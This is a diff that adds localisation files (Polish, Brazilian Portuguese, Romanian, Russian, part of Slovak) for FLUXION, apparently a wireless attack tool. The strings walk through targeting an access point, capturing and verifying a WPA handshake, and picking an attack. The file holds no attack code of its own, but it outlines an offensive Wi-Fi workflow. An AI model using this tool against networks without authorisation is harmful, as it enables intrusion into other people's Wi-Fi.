+FLUXIONScannerChannelMiltipleTip="Wiele kanałów" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="Skaner FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Wybierz metodę pozyskania handshake'a" +FLUXIONHashSourcePathOption="Path to capture file" +FLUXIONHashSourceRescanOption="Handshake directory (rescan)" +FLUXIONFoundHashNotice="Hash dla AP został znaleziony." +FLUXIONUseFoundHashQuery="Chcesz użyć ten plik?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Wybierz metodę weryfikacji hash'a" +FLUXIONHashVerificationMethodPyritOption="weryfikacja przy pomocy pyrit-a" +FLUXIONHashVerificationMethodAircrackOption="weryfikacja przy pomocy aircrack-ng (${CYel}unreliable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="weryfikacja przy pomocy cowpatty (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Wybierz rodzaj ataka na punkt dostępowy" +FLUXIONAttackInProgressNotice="Atak ${CCyn}\$FluxionAttack$CClr w trakcie..." +FLUXIONSelectAnotherAttackOption="Wybierz inny rodzaj ataku" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Cofnij" +FLUXIONGeneralExitOption="${CRed}Wyjście" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Nie znaleziono" +FLUXIONGeneralXTermFailureError="${CRed} Start xterm niemożliwy (źle skonfigurowany?)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Sprzątanie i zamykanie" +FLUXIONKillingProcessNotice="Zabijanie procesu ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Wyłączanie karty monitorującej" +FLUXIONDisablingExtraInterfacesNotice="Disabling extra interfaces" +FLUXIONDisablingPacketForwardingNotice="Disabling ${CGry}forwarding of packets" +FLUXIONDisablingCleaningIPTablesNotice="Cleaning ${CGry}iptables" +FLUXIONRestoringTputNotice="Restoring ${CGry}tput" +FLUXIONDeletingFilesNotice="Usuwanie ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Restartowanie ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Sprzątanie zakończone powodzeniem!" +FLUXIONThanksSupportersNotice="Dziękuję za użycie FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/pt-br.sh b/language/pt-br.sh new file mode 100755 index 0000000..05e4ba5 --- /dev/null +++ b/language/pt-br.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Português Brazileiro +# native: Português-BR + +FLUXIONInterfaceQuery="Selecione sua interface wireless" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Desbloqueando interfaces wireless..." +#FLUXIONFindingExtraWINotice="A procura de interfaces wireless..." +FLUXIONRemovingExtraWINotice="Removendo interfaces wireless..." +FLUXIONFindingWINotice="Procurando por interfaces wireless válidas..." +FLUXIONSelectedBusyWIError="A interface selecionada esta aparentemente em uso" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Relhendo informações da interface..." +FLUXIONUnknownWIDriverError="Ative o drive da interface!" +FLUXIONUnloadingWIDriverNotice="Esperando pela interface \"\$interface\" para descarregar..." +FLUXIONLoadingWIDriverNotice="Esperando pela interface \"\$interface\" para carregar..." +FLUXIONFindingConflictingProcessesNotice="Procurando serviços conflitantes..." +FLUXIONKillingConflictingProcessesNotice="Matando serviços conflitantes..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Não é possível determinar o dispositivo físico da interface!" +FLUXIONStartingWIMonitorNotice="Iniciando modo monitor..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Iniciando busca, aguarde por favor..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..." +FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)" +FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!" +FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, verificação de hash completa!" +FLUXIONPathToHandshakeFileQuery="Insira o arquivo de handshake $CClr(Exemplo: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Caminho" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Selecione um canal para monitorar" +FLUXIONScannerChannelOptionAll="Todos os Canais" +FLUXIONScannerChannelOptionSpecific="Canais específicos" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Canal único" +FLUXIONScannerChannelMiltipleTip="Múltiplos canais" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="FLUXION Scanner" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Selecione um método para capturar o handshake" +FLUXIONHashSourcePathOption="Caminho para captura do arquivo" +FLUXIONHashSourceRescanOption="Diretório do handshake" +FLUXIONFoundHashNotice="Um handshake para o AP alvo foi encontrado." +FLUXIONUseFoundHashQuery="Gostaria de usar esse arquivo?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Selecione um método de verificação para a hash" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}não confiável$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recomendada$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Selecione uma rede sem fio para atacar" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr ataque em progresso..." +FLUXIONSelectAnotherAttackOption="Selecione outro ataque" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Voltar" +FLUXIONGeneralExitOption="${CRed}Sair" +FLUXIONGeneralRepeatOption="${CRed}Repetir" +FLUXIONGeneralNotFoundError="Não encontrado" +FLUXIONGeneralXTermFailureError="${CRed}Falha ao iniciar a sessão xterm (possivelmente configuração errada)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Limpando e saindo" +FLUXIONKillingProcessNotice="Matando ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Desabilitando interface do modo monitor" +FLUXIONDisablingExtraInterfacesNotice="Desabilitando interfaces extras" +FLUXIONDisablingPacketForwardingNotice="Desabilitando ${CGry}encaminhador de pacotes" +FLUXIONDisablingCleaningIPTablesNotice="Limpando ${CGry}iptables" +FLUXIONRestoringTputNotice="Restaurando ${CGry}tput" +FLUXIONDeletingFilesNotice="Deletando ${CGry}arquivos" +FLUXIONRestartingNetworkManagerNotice="Reiniciando ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Limpeza completa!" +FLUXIONThanksSupportersNotice="Obrigado por usar o FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/ro.sh b/language/ro.sh new file mode 100755 index 0000000..653fbe7 --- /dev/null +++ b/language/ro.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Romanian +# native: Română + +FLUXIONInterfaceQuery="Selecteaza o interfata" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." +#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." +FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." +FLUXIONFindingWINotice="Looking for available wireless interfaces..." +FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Gathering interface information..." +FLUXIONUnknownWIDriverError="Unable to determine interface driver!" +FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." +FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." +FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." +FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" +FLUXIONStartingWIMonitorNotice="Starting monitor interface..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." +FLUXIONContinueWithTargetQuery="Continue with this target?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Starting scanner, please wait..." +FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." +FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" +FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Hash file does not exist!" +FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" +FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" +FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" +FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." +FLUXIONAbsolutePathInfo="Absolute path" +FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Selecteaza canalul" +FLUXIONScannerChannelOptionAll="Toate canalele " +FLUXIONScannerChannelOptionSpecific="Canal specific(s)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Un singur canal" +FLUXIONScannerChannelMiltipleTip="Canale multiple" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="FLUXION Scanner" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Select a method to retrieve the handshake" +FLUXIONHashSourcePathOption="Path to capture file" +FLUXIONHashSourceRescanOption="Handshake directory (rescan)" +FLUXIONFoundHashNotice="A hash for the target AP was found." +FLUXIONUseFoundHashQuery="Do you want to use this file?" +FLUXIONUseFoundHashOption="Use hash found" +FLUXIONSpecifyHashPathOption="Specify path to hash" +FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" +FLUXIONHashVerificationMethodPyritOption="pyrit verification" +FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Selecteaza optiunea ta" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." +FLUXIONSelectAnotherAttackOption="Select another attack" +FLUXIONAttackResumeQuery="This attack has already been configured." +FLUXIONAttackRestoreOption="Restore attack" +FLUXIONAttackResetOption="Reset attack" +FLUXIONAttackRestartOption="Restart" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Skip" +FLUXIONGeneralBackOption="${CRed}Inapoi" +FLUXIONGeneralExitOption="${CRed}Exit" +FLUXIONGeneralRepeatOption="${CRed}Repeat" +FLUXIONGeneralNotFoundError="Nu a fost gasit" +FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Curatire si inchidere" +FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Dezacticati interfata monitorizata" +FLUXIONDisablingExtraInterfacesNotice="Dezactivati interfata" +FLUXIONDisablingPacketForwardingNotice="Dezactivati ${CGry}forwarding of packets" +FLUXIONDisablingCleaningIPTablesNotice="Curatire ${CGry}iptables" +FLUXIONRestoringTputNotice="Restaurare ${CGry}tput" +FLUXIONDeletingFilesNotice="Deleting ${CGry}files" +FLUXIONRestartingNetworkManagerNotice="Restartare ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Curatire efectuata cu succes!" +FLUXIONThanksSupportersNotice="Multumesc pentru ca ati folosit fluxion" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/ru.sh b/language/ru.sh new file mode 100755 index 0000000..0e44afb --- /dev/null +++ b/language/ru.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Russian +# native: Русский + +FLUXIONInterfaceQuery="Выберите беспроводной интерфейс" +FLUXIONAllocatingInterfaceNotice="Выделение зарезервированного интерфейса $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Перераспределение зарезервированного интерфейса $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Успешное распределение интерфейса!" +FLUXIONInterfaceAllocationFailedError="${CRed}Не удалось выполнить резервирование интерфейса!" +FLUXIONReidentifyingInterface="Переименование интерфейса." +FLUXIONUnblockingWINotice="Разблокирование всех беспроводных интерфейсов." +#FLUXIONFindingExtraWINotice="Поиск посторонних беспроводных интерфейсов..." +FLUXIONRemovingExtraWINotice="Удаление посторонних беспроводных интерфейсов..." +FLUXIONFindingWINotice="Поиск доступных беспроводных интерфейсов..." +FLUXIONSelectedBusyWIError="Выбранный беспроводной интерфейс, по-видимому, используется в настоящее время!" +FLUXIONSelectedBusyWITip="Обычно это вызвано сетевым менеджером (network manager), использующим выбранный интерфейс. Рекомендуется$CGrn правильно остановить сетевой менеджер $CClr или настроить его на игнорирование выбранного интерфейса. В качестве альтернативы выполняйте \"export FLUXIONWIKillProcesses=1\" перед запуском fluxion, чтобы выгрузить сетевой менеджер, но рекомендуется$CRed избегать использование этого флага${CClr}." +FLUXIONGatheringWIInfoNotice="Сбор информации об интерфейсе..." +FLUXIONUnknownWIDriverError="Не удалось определить драйвер интерфейса!" +FLUXIONUnloadingWIDriverNotice="Ожидание выгрузки интерфейса \"\$interface\"..." +FLUXIONLoadingWIDriverNotice="Ожидание поднятия интерфейса \"\$interface\"..." +FLUXIONFindingConflictingProcessesNotice="Поиск конфликтующих служб..." +FLUXIONKillingConflictingProcessesNotice="Остановка конфликтующих служб..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Невозможно определить физическое устройство интерфейса!" +FLUXIONStartingWIMonitorNotice="Запуск интерфейса монитора..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Выберите беспроводной интерфейс для поиска целей." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." +FLUXIONTargetTrackerInterfaceQueryTip="${CSYel}Choosing a dedicated interface may be required.$CClr" +FLUXIONTargetTrackerInterfaceQueryTip2="${CBRed}If you're unsure, choose \"${CBYel}Skip${CBRed}\"!$CClr" +FLUXIONIncompleteTargettingInfoNotice="Отсутствует информация об ESSID, BSSID или канале!" +FLUXIONTargettingAccessPointAboveNotice="Fluxion нацелен на вышеприведённую точку доступа." +FLUXIONContinueWithTargetQuery="Продолжить с этой целью?" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONStartingScannerNotice="Запуск сканера, пожалуйста, подождите..." +FLUXIONStartingScannerTip="Через пять секунд после появления целевой точки ТД закройте сканер FLUXION (ctrl+c)." +FLUXIONPreparingScannerResultsNotice="Подготовка результатов сканирования, пожалуйста, ожидайте..." +FLUXIONScannerFailedNotice="Возможно, беспроводная карта не поддерживается (точки доступа не найдены)" +FLUXIONScannerDetectedNothingNotice="Точки доступа не обнаружены, возвращаемся назад..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashFileDoesNotExistError="Хэш-файл (файл с рукопожатием) не существует!" +FLUXIONHashInvalidError="${CRed}Ошибка$CClr, неверный файл рукопожатия!" +FLUXIONHashValidNotice="${CGrn}Успех$CClr, верификация рукопожатия прошла успешно!" +FLUXIONPathToHandshakeFileQuery="Введите путь до файла рукопожатия $CClr(Пример: /путь/до/file.cap)" +FLUXIONPathToHandshakeFileReturnTip="Чтобы вернуться назад, оставьте путь до файла рукопожатия пустым." +FLUXIONAbsolutePathInfo="Абсолютный путь" +FLUXIONEmptyOrNonExistentHashError="${CRed}Ошибка$CClr, введённый путь указывает на несуществующий или пустой файл рукопожатия." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelQuery="Выберите канал для мониторинга" +FLUXIONScannerChannelOptionAll="Все каналы" +FLUXIONScannerChannelOptionSpecific="Конкретный канал (каналы)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerChannelSingleTip="Один канал" +FLUXIONScannerChannelMiltipleTip="Несколько каналов" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONScannerHeader="Сканер FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONHashSourceQuery="Выберите способ получения рукопожатия" +FLUXIONHashSourcePathOption="Путь к файлу захвата" +FLUXIONHashSourceRescanOption="Повторное сканирование директории рукопожатия" +FLUXIONFoundHashNotice="Был найден хэш (рукопожатие) для целевой точки доступа." +FLUXIONUseFoundHashQuery="Вы хотите использовать этот файл?" +FLUXIONUseFoundHashOption="Использовать найденное рукопожатие" +FLUXIONSpecifyHashPathOption="Укажите путь к рукопожатию" +FLUXIONHashVerificationMethodQuery="Выберите метод проверки рукопожатия" +FLUXIONHashVerificationMethodPyritOption="проверка с помощью pyrit" +FLUXIONHashVerificationMethodAircrackOption="проверка с помощью aircrack-ng (${CYel}ненадёжная$CClr)" +FLUXIONHashVerificationMethodCowpattyOption="проверка с помощью cowpatty (${CGrn}рекомендуется$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONAttackQuery="Выбор беспроводной атаки для точки доступа" +FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr идёт атака..." +FLUXIONSelectAnotherAttackOption="Выбор другой атаки" +FLUXIONAttackResumeQuery="Эта атака уже была настроена." +FLUXIONAttackRestoreOption="Восстановление атаки" +FLUXIONAttackResetOption="Сброс атаки" +FLUXIONAttackRestartOption="Перезапуск" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONGeneralSkipOption="${CYel}Пропустить" +FLUXIONGeneralBackOption="${CRed}Назад" +FLUXIONGeneralExitOption="${CRed}Выход" +FLUXIONGeneralRepeatOption="${CRed}Повторить" +FLUXIONGeneralNotFoundError="Не найдено" +FLUXIONGeneralXTermFailureError="${CRed}Не удалось запустить xterm (возможно неправильная настройка, безголовая машина)." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONCleanupAndClosingNotice="Очистка и закрытие" +FLUXIONKillingProcessNotice="Закрытие ${CGry}\$targetID$CClr" +FLUXIONRestoringPackageManagerNotice="Восстановление ${CCyn}\$PackageManagerCLT$CClr" +FLUXIONDisablingMonitorNotice="Отключение режима монитора" +FLUXIONDisablingExtraInterfacesNotice="Отключение дополнительный интерфейсов" +FLUXIONDisablingPacketForwardingNotice="Отключение ${CGry}форвардинга (переадресации) пакетов" +FLUXIONDisablingCleaningIPTablesNotice="Очистка ${CGry}iptables" +FLUXIONRestoringTputNotice="Восстановление ${CGry}tput" +FLUXIONDeletingFilesNotice="Удаление ${CGry}файлов" +FLUXIONRestartingNetworkManagerNotice="Восстановление ${CGry}Network-Manager" +FLUXIONCleanupSuccessNotice="Очистка выполнена успешно!" +FLUXIONThanksSupportersNotice="Спасибо что пользуетесь FLUXION" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/language/sk.sh b/language/sk.sh new file mode 100644 index 0000000..efca0a9 --- /dev/null +++ b/language/sk.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env bash +# Slovak +# native: slovenčina + +FLUXIONInterfaceQuery="Vyberte bezdrôtový adaptér" +FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." +FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" +FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" +FLUXIONReidentifyingInterface="Renaming interface." +FLUXIONUnblockingWINotice="Odblokúvam všetky bezdrôtové adaptéry..." +#FLUXIONFindingExtraWINotice="Hľadám prídavné bezdrôtové adaptéry..." +FLUXIONRemovingExtraWINotice="Odstraňujem prídavné bezdrôtové adaptéry..." +FLUXIONFindingWINotice="Hľadám dostupné bezdrôtové adaptéry..." +FLUXIONSelectedBusyWIError="Vybraný bezdrôtový adaptér sa pravdepodobne používa!" +FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." +FLUXIONGatheringWIInfoNotice="Zhromažďujem informácie o adaptéri..." +FLUXIONUnknownWIDriverError="Nepodarilo sa zistiť driver adaptéru!" +FLUXIONUnloadingWIDriverNotice="Čakám na uvolnenie adaptéru \"\$interface\" ..." +FLUXIONLoadingWIDriverNotice="Čakám na pripravenie adaptéru \"\$interface\" ..." +FLUXIONFindingConflictingProcessesNotice="Hľadám známe služby..." +FLUXIONKillingConflictingProcessesNotice="Zastavujem známe služby..." +FLUXIONPhysicalWIDeviceUnknownError="${CRed}Nedokážem zistiť fyzické zariadenie adaptéru!" +FLUXIONStartingWIMonitorNotice="Štartujem monitorovací adaptér..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." +FLUXIONTargetTrackerInterfaceQuery="Select a wireless interface for target tracking." 